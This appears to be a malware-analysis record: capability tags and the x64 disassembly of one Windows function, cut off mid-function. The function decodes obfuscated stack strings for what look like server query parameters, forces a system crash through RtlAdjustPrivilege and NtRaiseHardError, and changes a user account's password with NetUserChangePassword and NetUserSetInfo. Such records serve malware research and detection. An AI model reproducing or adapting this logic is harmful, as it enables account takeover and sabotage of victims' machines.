Function at 0x14000dfb0
Capabilities:
Change user account password
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x540
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400ad280]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
mov r15, rdx
mov qword [rbp + 0x288], rdx
xor ebx, ebx
lea rcx, [rbp + 0x40]
call fcn.14000b880
nop
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.14000b1b0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000e052
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e04d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010c7e
call fcn.14004e370
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0x410]
call fcn.14000c1d0
nop
mov dword [rbp + 0x36], 0x3d7669
mov dword [rbp + 0x30], 0x696e6926
mov word [rbp + 0x34], 0x5f74
mov byte [rbp + 0x3a], 0
lea rdx, [0x1400b40d0]
lea rcx, [rbp + 0x430]
call fcn.14000b5e0
mov qword [rbp + 0x280], rax
mov dword [rbp + 0x1e], 0x3d6469
mov dword [rbp + 0x18], 0x6e776f26
mov word [rbp + 0x1c], 0x7265
mov byte [rbp + 0x22], 0
lea rdx, [0x1400b40b0]
lea rcx, [rbp + 0x1c0]
call fcn.14000b5e0
mov r13, rax
mov word [rbp + 0x15], 0x3d
mov dword [rbp + 0x10], 0x6d616e26
mov byte [rbp + 0x14], 0x65
mov byte [rbp + 0x17], 0
lea rdx, [0x1400b4198]
lea rcx, [rbp + 0x1a0]
call fcn.14000b5e0
mov r12, rax
mov dword [rbp + 0x2c8], 0x3d6469
mov dword [rbp + 0x2c0], 0x73657326
mov dword [rbp + 0x2c4], 0x6e6f6973
mov byte [rbp + 0x2cc], 0
lea rax, [rbp + 0x220]
mov qword [rbp + 8], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x220]
call fcn.140016f80
mov rdi, rax
lea rax, [rbp + 0x240]
mov qword [rbp], rax
lea rdx, [0x1400b41b8]
lea rcx, [rbp + 0x240]
call fcn.140016f80
mov rbx, rax
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x260]
call fcn.140016f80
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.14000b9b0
mov r14, rax
mov word [rbp + 0xd], 0x3d
mov dword [rbp + 8], 0x69776826
mov byte [rbp + 0xc], 0x64
mov byte [rbp + 0xf], 0
lea rax, [rbp + 0x1e0]
mov qword [rbp], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x1e0]
call fcn.140016f80
mov rdi, rax
lea rax, [rbp + 0x300]
mov qword [rbp + 0x298], rax
lea rdx, [0x1400b41b8]
lea rcx, [rbp + 0x300]
call fcn.140016f80
mov rbx, rax
mov rdx, r15
lea rcx, [rbp + 0x460]
call fcn.140016f80
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.14000b9b0
mov rbx, rax
mov dword [rbp + 2], 0x3d7965
mov word [rbp], 0x6b26
mov byte [rbp + 6], 0
movabs rax, 0x30cdd9b6768db69
mov qword [rbp + 0x298], rax
mov rcx, qword [rbp + 0x298]
mov qword [rbp + 0x360], rcx
movabs rcx, 0x34b67fd49373b712
mov qword [rbp + 0x298], rcx
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x368], rax
movabs rdx, 0x369aef5020bb205
mov qword [rbp + 0x298], rdx
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x298], rcx
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x360], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xor edi, edi
mov qword [rbp + 0x2f0], rdi
mov qword [rbp + 0x2f8], rdi
lea rax, [rbp + 0x360]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000e2d4
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x2e0]
call fcn.14001e710
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x140]
call fcn.14000b5e0
nop
mov dword [rbp + 0x29a], 0x3d6570
mov word [rbp + 0x298], 0x7974
mov byte [rbp + 0x29e], 0
lea rcx, [rbp + 0x298]
mov r9, rsi
nop dword [rax]
inc r9
cmp byte [rcx + r9], 0
jne 0x14000e330
lea r8, [rbp + 0x298]
xor edx, edx
mov rcx, rax
call fcn.140021fa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000e390
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.140016cb0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3c0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp + 0x3b0]
lea rcx, [rbp + 0x40]
call fcn.1400220a0
nop
lea rax, [rbp + 8]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e3f0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x40]
call fcn.140016cb0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, r14
lea r8, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
call fcn.1400220a0
nop
lea rax, [rbp + 0x2c0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e450
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0xc0]
call fcn.140016cb0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x370], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, r12
lea r8, [rbp + 0x360]
lea rcx, [rbp + 0xe0]
call fcn.1400220a0
nop
lea rax, [rbp + 0x10]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000e4b0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xe0]
call fcn.140016cb0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov r9, r13
lea r8, [rbp + 0x2c0]
lea rcx, [rbp + 0x100]
call fcn.1400220a0
nop
lea rax, [rbp + 0x18]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000e510
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x100]
call fcn.140016cb0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, qword [rbp + 0x280]
lea r8, [rbp + 0x2a0]
lea rcx, [rbp + 0x120]
call fcn.1400220a0
nop
lea rax, [rbp + 0x30]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000e570
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x120]
call fcn.140016cb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x3d0]
cmp qword [rbp + 0x3e8], 0xf
cmova rdx, qword [rbp + 0x3d0]
mov r8, qword [rbp + 0x3e0]
lea rcx, [rbp + 0x60]
call fcn.140016cb0
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x3f0], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x400], xmm6
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000e63d
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e638
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010c84
call fcn.14004e370
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14000e68e
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e689
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010c8a
call fcn.14004e370
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0xf
jbe 0x14000e6e8
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e6e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010c90
call fcn.14004e370
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x14000e742
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e73d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010c96
call fcn.14004e370
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x14000e79c
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010c9c
call fcn.14004e370
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], 0xf
mov byte [rbp + 0x2c0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14000e7f6
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e7f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ca2
call fcn.14004e370
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0x378]
cmp rdx, 0xf
jbe 0x14000e850
inc rdx
mov rcx, qword [rbp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e84b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ca8
call fcn.14004e370
mov qword [rbp + 0x370], r12
mov qword [rbp + 0x378], 0xf
mov byte [rbp + 0x360], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000e8aa
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e8a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cae
call fcn.14004e370
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000e904
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e8ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cb4
call fcn.14004e370
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000e958
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e953
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cba
call fcn.14004e370
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x14000e9a9
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cc0
call fcn.14004e370
mov qword [rbp + 0x3c0], r12
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000ea03
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cc6
call fcn.14004e370
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x14000ea5d
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ccc
call fcn.14004e370
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x14000eab7
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eab2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cd2
call fcn.14004e370
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], 0xf
mov byte [rbp + 0x2e0], 0
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14000eb11
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cd8
call fcn.14004e370
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14000eb6b
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cde
call fcn.14004e370
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14000ebc5
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ebc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ce4
call fcn.14004e370
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x14000ec1f
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cea
call fcn.14004e370
mov qword [rbp + 0x1d0], r12
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0x448]
cmp rdx, 0xf
jbe 0x14000ec79
inc rdx
mov rcx, qword [rbp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010cf0
call fcn.14004e370
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], 0xf
mov byte [rbp + 0x430], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2b8], r12
lea r14, [rbp + 0x3f0]
movq rcx, xmm7
movdqa xmm0, xmm6
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova r14, rcx
movabs rdi, 0x7fffffffffffffff
movq rbx, xmm6
cmp rbx, rdi
ja 0x140010cf6
cmp rbx, 0xf
ja 0x14000ed0c
mov qword [rbp + 0x2b0], rbx
mov qword [rbp + 0x2b8], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x2a0], xmm0
jmp 0x14000eda6
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x14000ed48
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004e46c
mov rcx, rax
test rax, rax
je 0x140010cfc
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000ed82
mov ecx, 0x16
cmp rax, rcx
cmovb rax, rcx
mov rdi, rax
lea rcx, [rax + 1]
test rcx, rcx
jne 0x14000ed65
mov rax, r12
jmp 0x14000ed82
cmp rcx, 0x1000
jb 0x14000ed7d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140010a86
jmp 0x14000ed26
call fcn.14004e46c
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2b0], rbx
mov qword [rbp + 0x2b8], rdi
lea r8, [rbx + 1]
mov rdx, r14
mov rcx, rax
call fcn.140081080
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x390]
call fcn.1400115b0
nop
lea rax, [rbp + 0x460]
mov qword [rbp + 0x360], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x460]
call fcn.140016f80
mov rdi, rax
lea rax, [rbp + 0x300]
mov qword [rbp + 0x280], rax
lea rdx, [0x1400b41b8]
lea rcx, [rbp + 0x300]
call fcn.140016f80
mov rbx, rax
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x1e0]
call fcn.140016f80
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.14000bcc0
mov rbx, rax
lea rax, [rbp + 0x390]
cmp rax, rbx
je 0x14000eeb8
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x14000ee7b
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ee76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d02
call fcn.14004e370
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x390], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x3a0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x448]
cmp rdx, 0xf
jbe 0x14000eef9
inc rdx
mov rcx, qword [rbp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eef4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d02
call fcn.14004e370
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], 0xf
mov byte [rbp + 0x430], 0
mov qword [rbp + 0x218], r12
lea r8, [rbp + 0x1e0]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x380]
call fcn.14001d790
nop
movabs rbx, 0x31add906168c776
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
movabs r13, 0x34b67fd49373b712
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
movabs rdi, 0x369aef5020bb205
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], r12
lea rax, [rbp + 0x2c0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000efe0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x430]
call fcn.14001e710
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x380]
call fcn.140015070
cmp byte [rax], 4
jne 0x140010d08
cmp byte [rax + 8], 0
je 0x140010aa0
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], r12
lea rax, [rbp + 0x2c0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000f0b0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x430]
call fcn.14001e710
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x380]
call fcn.140015070
cmp byte [rax], 4
jne 0x140010d4e
cmp byte [rax + 8], 0
jne 0x14000f5bc
lea rcx, [rbp + 0x2e0]
call fcn.140006410
nop
cmp qword [rbp + 0x2f0], 0
jne 0x14000f16c
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x291], 0
mov dword [rbp + 0x298], r12d
lea r9, [rbp + 0x291]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000006
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
movabs rax, 0x31dae9b0264b261
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x300], rax
movabs rax, 0x34cf7fa69307b74d
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x308], rax
movabs rax, 0xf35a73d011b3e168
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x310], rax
movabs rax, 0xf9f64b2f45661d5f
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x318], rax
movabs rax, 0xa8ca5d1f821c67b2
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x320], rax
movabs rax, 0x86fb37a34701d3e0
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x328], rax
movabs rax, 0xd88a2854090a4354
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x330], rax
movabs rax, 0x6dc86c036637087f
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x338], rax
movabs rdx, 0x2daba6fd11cd530d
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x340], rax
movabs r8, 0x1c676cbc667d903a
mov qword [rbp + 0x280], r8
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x280], rdi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x280], r13
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x468], rax
movabs rbx, 0xf30573bf11c7e137
mov qword [rbp + 0x280], rbx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x470], rax
movabs rsi, 0xf9954b4e45141d3c
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x478], rax
movabs rax, 0xa8955d71827567d9
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x480], rax
movabs rcx, 0x869037c04774d386
mov qword [rbp + 0x280], rcx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x488], rax
movabs rax, 0xd8ff283b0973430b
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x490], rax
movabs rax, 0x6dac6c6a665c0820
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x498], rax
mov qword [rbp + 0x280], rdx
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x280], r8
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x4a8], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x320], ymm1
vmovdqa xmm0, xmmword [rbp + 0x340]
vxorps xmm0, xmm0, xmmword [rbp + 0x4a0]
vmovdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2a0]
vzeroupper
call fcn.140016ab0
lea r9, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 7
cmova r9, qword [rbp + 0x2a0]
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
lea r8, [0x1400999bc]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserChangePassword]
test eax, eax
je 0x14000f4b7
cmp eax, 5
je 0x14000f459
cmp eax, 0x56
jne 0x14000f4ac
lea rax, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 7
cmova rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x280], rax
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x280]
xor ecx, ecx
mov r8d, 0x3eb
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
test eax, eax
je 0x14000f4b7
mov ecx, 0xfa
